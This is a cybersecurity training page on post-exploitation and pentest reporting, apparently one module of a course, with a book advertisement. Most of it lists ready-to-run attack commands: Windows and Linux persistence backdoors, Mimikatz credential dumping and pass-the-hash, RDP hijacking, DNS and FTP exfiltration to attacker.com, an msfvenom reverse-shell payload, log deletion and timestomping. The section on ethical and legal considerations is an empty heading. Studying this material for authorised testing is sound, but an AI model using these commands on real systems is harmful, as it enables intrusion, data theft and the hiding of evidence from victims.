Post-Exploitation & Reporting Guide

1. Introduction to Post-Exploitation

Post-exploitation refers to actions taken after gaining initial access to a system. The goals include:

• Maintaining persistence — Staying undetected
• Privilege escalation — Gaining higher access
• Lateral movement — Expanding control
• Data exfiltration — Stealing sensitive info
• Covering tracks — Removing evidence

📚 Get Your Copy Today!

🛒 Buy Now on Amazon

2. Post-Exploitation Techniques

A. Maintaining Access (Persistence)

1. Windows Persistence Methods

Registry Keys (Run keys, Startup folders)

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\malware.exe"

Scheduled Tasks

schtasks /create /tn "UpdateTask" /tr "C:\malware.exe" /sc hourly /mo 1

Service Installation

sc create "FakeService" binPath= "C:\malware.exe" start= auto

2. Linux Persistence Methods

Cron Jobs

echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab

SSH Backdoors

echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

Modified Binaries (LD_PRELOAD)

echo "/tmp/evil.so" >> /etc/ld.so.preload

B. Privilege Escalation

1. Windows Escalation

Token Impersonation (Rotten Potato)

Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"

DLL Hijacking

copy evil.dll "C:\Program Files\VulnerableApp\legit.dll"

Unquoted Service Paths

wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"

2. Linux Escalation

SUID Binaries

find / -perm -4000 2>/dev/null

Kernel Exploits (DirtyCow, Sudo Baron Samedit)

gcc exploit.c -o exploit && ./exploit

Sudo Misconfigurations

sudo -l

C. Lateral Movement

1. Pass-the-Hash (PtH)

Windows

mimikatz "sekurlsa::pth /user:Administrator /domain:corp /ntlm:HASH"

Linux (SSH Key Abuse)

ssh -i id_rsa user@192.168.1.100

2. RDP Hijacking

tscon 2 /dest:rdp-tcp#0

3. WMI & PSExec

Invoke-WMIExec -Target 192.168.1.100 -Command "whoami"

D. Data Exfiltration

1. File Transfer Methods

HTTP Upload (Python Server)

python3 -m http.server 8000

DNS Exfiltration

cat secret.txt | base64 | tr -d '\n' | while read chunk; do dig $chunk.attacker.com; done

2. Data Compression & Encryption

zip -P "password" secret.zip secret.txt

E. Covering Tracks

1. Log Deletion

Windows (Clear Event Logs)

wevtutil cl System

Linux (Delete Auth Logs)

echo "" > /var/log/auth.log

2. Timestomping

(Get-Item "C:\malware.exe").CreationTime = "01/01/2020 00:00:00"

3. Post-Exploitation Tools

4. Reporting & Documentation

A. Key Elements of a Penetration Test Report

1. Executive Summary — High-level findings
2. Methodology — Tools & techniques used
3. Findings — Vulnerabilities + risk ratings
4. Evidence — Screenshots, logs
5. Remediation Steps — How to fix issues

B. Sample Report Structure

C. Tools for Reporting

• Dradis — Collaborative reporting
• Faraday — Pentest collaboration
• LaTeX/Word — Professional formatting

5. Hands-On Lab

Lab: Windows Post-Exploitation

1. Dump hashes with Mimikatz:

sekurlsa::logonpasswords

2. Create a backdoor:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > backdoor.exe

3. Exfiltrate data via FTP:

(New-Object Net.WebClient).UploadFile("ftp://attacker.com/secrets.txt", "C:\secrets.txt")

6. Ethical & Legal Considerations

Conclusion

• Post-exploitation is about maintaining access, escalating privileges, and stealing data.
• Reporting is critical for fixing vulnerabilities.
• Use tools like Mimikatz, BloodHound, and Metasploit for efficiency.

Post-Exploitation & Reporting is the part of cybersecurity Training

🔹 Next Steps

• Module 12: Capture The Flag (CTF) & Hands-On Labs
• Try HTB (Hack The Box) machines for practice.
• Learn Active Directory exploitation.
• Explore C2 frameworks (Sliver, Covenant).